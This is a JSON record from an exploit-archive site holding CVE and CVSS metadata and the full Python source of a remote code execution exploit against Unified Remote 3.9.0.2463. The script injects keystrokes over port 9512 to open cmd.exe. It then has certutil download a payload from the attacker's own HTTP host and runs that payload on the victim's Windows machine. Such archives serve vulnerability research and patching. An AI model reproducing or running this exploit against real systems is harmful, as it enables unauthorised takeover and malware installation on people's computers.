{"exploit":{"id":"EDB-49587","name":"Unified Remote 3.9.0.2463 - Remote Code Execution (RCE)","description":"Unified Remote 3.9.0.2463 - Remote Code Execution (RCE)","cves":["CVE-2021-47891"],"author":"H4rk3nz0","published":"2021-02-24","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49587","path":"exploits/windows/remote/49587.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49587.py","vulnerabilities":[{"id":"CVE-2021-47891","state":"PUBLISHED","title":"Unified Remote 3.9.0.2463 - Remote Code Execution","titleSource":"CVE Program","description":"Unified Remote 3.9.0.2463 contains a remote code execution vulnerability that allows attackers to send crafted network packets to execute arbitrary commands. Attackers can exploit the service by connecting to port 9512 and sending specially crafted packets to open a command prompt and download and execute malicious payloads.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47891","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2021-47891"},"updatedAt":"2026-04-07T14:06:24.611Z","retrievedAt":"2026-11-26T02:00:59.088Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49587.png?v=2","url":"https://exploitbin.com/exploits/EDB-49587","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49587/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49587/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# Exploit Title: Unified Remote 3.9.0.2463 - Remote Code Execution\n# Author: H4rk3nz0\n# Vendor Homepage: https://www.unifiedremote.com/\n# Software Link: https://www.unifiedremote.com/download\n# Tested on: Windows 10, 10.0.19042 Build 19042\n\n\nimport socket\nimport sys\nimport os\nfrom time import sleep\n\ntarget = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nport = 9512\n\n# Packet Data Declarations; Windows, Space and Enter have non-standard values\n\nopen = (\"00000085000108416374696f6e00000550617373776f72640038653831333362332d61313862\"\n\"2d343361662d613763642d6530346637343738323763650005506c6174666f726d00616e64726f696400\"\n\"0852657175657374000005536f7572636500616e64726f69642d64373038653134653532383463623831\"\n\"000356657273696f6e000000000a00\").decode(\"hex\")\n\nopen_fin = (\"000000c8000108416374696f6e0001024361706162696c69746965730004416374696f6e7\"\n\"3000104456e6372797074696f6e3200010446617374000004477269640001044c6f6164696e6700010453\"\n\"796e630001000550617373776f72640064363334633164636664656238373335363038613461313034646\"\n\"5643430373664653736366464363134343336313938303961643766333538353864343439320008526571\"\n\"75657374000105536f7572636500616e64726f69642d643730386531346535323834636238310000\"\n).decode(\"hex\")\n\none = (\"000000d2000108416374696f6e00070549440052656c6d746563682e4b6579626f61726400024\"\n\"c61796f75740006436f6e74726f6c73000200024f6e416374696f6e0002457874726173000656616c756\"\n\"5730002000556616c756500\").decode(\"hex\")\n\ntwo = (\"00000000054e616d6500746f67676c6500000854797065000800000008526571756573740007\"\n\"0252756e0002457874726173000656616c7565730002000556616c756500\").decode(\"hex\")\n\nthree = (\"00000000054e616d6500746f67676c65000005536f7572636500616e64726f69642d643730\"\n\"386531346535323834636238310000\").decode(\"hex\")\n\nwin_key = (\"000000d8000108416374696f6e00070549440052656c6d746563682e4b6579626f61726\"\n\"400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e000245787472617300065\"\n\"6616c7565730002000556616c7565004c57494e00000000054e616d6500746f67676c6500000854797\"\n\"0650008000000085265717565737400070252756e0002457874726173000656616c756573000200055\"\n\"6616c7565004c57494e00000000054e616d6500746f67676c65000005536f7572636500616e64726f6\"\n\"9642d643730386531346535323834636238310000\").decode(\"hex\")\n\nret_key = (\"000000dc000108416374696f6e00070549440052656c6d746563682e4b6579626f6172\"\n\"6400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e0002457874726173000\"\n\"656616c7565730002000556616c75650052455455524e00000000054e616d6500746f67676c650000\"\n\"08547970650008000000085265717565737400070252756e0002457874726173000656616c7565730\"\n\"002000556616c75650052455455524e00000000054e616d6500746f67676c65000005536f75726365\"\n\"00616e64726f69642d643730386531346535323834636238310000\").decode(\"hex\")\n\nspace_key = (\"000000da000108416374696f6e00070549440052656c6d746563682e4b6579626f6\"\n\"1726400024c61796f75740006436f6e74726f6c73000200024f6e416374696f6e000245787472617\"\n\"3000656616c7565730002000556616c756500535041434500000000054e616d6500746f67676c650\"\n\"00008547970650008000000085265717565737400070252756e0002457874726173000656616c756\"\n\"5730002000556616c756500535041434500000000054e616d6500746f67676c65000005536f75726\"\n\"36500616e64726f69642d643730386531346535323834636238310000\").decode(\"hex\")\n\n# ASCII to Hex Conversion Set\ncharacters={\n\t\"A\":\"41\",\"B\":\"42\",\"C\":\"43\",\"D\":\"44\",\"E\":\"45\",\"F\":\"46\",\"G\":\"47\",\"H\":\"48\",\"I\":\"49\",\"J\":\"4a\",\"K\":\"4b\",\"L\":\"4c\",\"M\":\"4d\",\"N\":\"4e\",\n\t\"O\":\"4f\",\"P\":\"50\",\"Q\":\"51\",\"R\":\"52\",\"S\":\"53\",\"T\":\"54\",\"U\":\"55\",\"V\":\"56\",\"W\":\"57\",\"X\":\"58\",\"Y\":\"59\",\"Z\":\"5a\",\n\t\"a\":\"61\",\"b\":\"62\",\"c\":\"63\",\"d\":\"64\",\"e\":\"65\",\"f\":\"66\",\"g\":\"67\",\"h\":\"68\",\"i\":\"69\",\"j\":\"6a\",\"k\":\"6b\",\"l\":\"6c\",\"m\":\"6d\",\"n\":\"6e\",\n\t\"o\":\"6f\",\"p\":\"70\",\"q\":\"71\",\"r\":\"72\",\"s\":\"73\",\"t\":\"74\",\"u\":\"75\",\"v\":\"76\",\"w\":\"77\",\"x\":\"78\",\"y\":\"79\",\"z\":\"7a\",\n\t\"1\":\"31\",\"2\":\"32\",\"3\":\"33\",\"4\":\"34\",\"5\":\"35\",\"6\":\"36\",\"7\":\"37\",\"8\":\"38\",\"9\":\"39\",\"0\":\"30\",\n\t\"+\":\"2b\",\"=\":\"3d\",\"/\":\"2f\",\"_\":\"5f\",\"<\":\"3c\",\n\t\">\":\"3e\",\"[\":\"5b\",\"]\":\"5d\",\"!\":\"21\",\"@\":\"40\",\"#\":\"23\",\"$\":\"24\",\"%\":\"25\",\"^\":\"5e\",\"&\":\"26\",\"*\":\"2a\",\n\t\"(\":\"28\",\")\":\"29\",\"-\":\"2d\",\"'\":\"27\",'\"':\"22\",\":\":\"3a\",\";\":\"3b\",\"?\":\"3f\",\"`\":\"60\",\"~\":\"7e\",\n\t\"\\\\\":\"5c\",\"|\":\"7c\",\"{\":\"7b\",\"}\":\"7d\",\",\":\"2c\",\".\":\"2e\"}\n\n# User Specified arguments\ntry:\n\trhost = sys.argv[1]\n\tlhost = sys.argv[2]\n\tpayload = sys.argv[3]\nexcept:\n\tprint(\"Usage: python \" + sys.argv[0] + \" <target-ip> <local-http-ip> <payload-name>\")\n\n\n# Send Windows Key Input Twice\ndef SendWin():\n\ttarget.sendto(win_key,(rhost, port))\n\ttarget.sendto(win_key,(rhost, port))\n\tsleep(0.4)\n\n\n# Send Enter/Return Key Input\ndef SendReturn():\n\ttarget.sendto(ret_key,(rhost, port))\n\tsleep(0.4)\n\n# Send String Characters\ndef SendString(string, rhost):\n\tfor char in string:\n\t\tif char == \" \":\n\t\t\ttarget.sendto(space_key,(rhost, port))\n\t\t\tsleep(0.02)\n\t\telse:\n\t\t\tconvert = characters[char].decode(\"hex\")\n\t\t\ttarget.sendto(one + convert + two + convert + three,(rhost, port))\n\t\t\tsleep(0.02)\n\n# Main Execution\ndef main():\n\ttarget.connect((rhost,port))\n\tsleep(0.5)\n\tprint(\"[+] Connecting to target...\")\n\ttarget.sendto(open,(rhost,port)) \t# Initialize Connection to Unified\n\tsleep(0.02)\n\ttarget.sendto(open_fin,(rhost,port)) \t# Finish Initializing Connection\n\tprint(\"[+] Popping Start Menu\")\n\tsleep(0.02)\n\tSendWin()\n\tsleep(0.3)\n\tprint(\"[+] Opening CMD\")\n\tSendString(\"cmd.exe\", rhost)\n\tsleep(0.3)\n\tSendReturn()\n\tsleep(0.3)\n\tprint(\"[+] *Super Fast Hacker Typing*\")\n\tSendString(\"certutil.exe -f -urlcache http://\" + lhost + \"/\" + payload + \" C:\\\\Windows\\\\Temp\\\\\" + payload, rhost) # Retrieve HTTP hosted payload\n\tsleep(0.3)\n\tprint(\"[+] Downloading Payload\")\n\tSendReturn()\n\tsleep(3)\n\tSendString(\"C:\\\\Windows\\\\Temp\\\\\" + payload, rhost) # Execute Payload\n\tsleep(0.3)\n\tSendReturn()\n\tprint(\"[+] Done! Check listener?\")\n\ttarget.close()\n\nif __name__==\"__main__\":\n\tmain()","sha256":"d3a673261773efcde4ca3bcea5c94417acee7e25aa05e9c63914dd2797c8b30b","bytes":5711,"fetchedAt":"2026-11-26T16:05:34.920Z","encoding":"utf-8 (display only; download retains original bytes)"}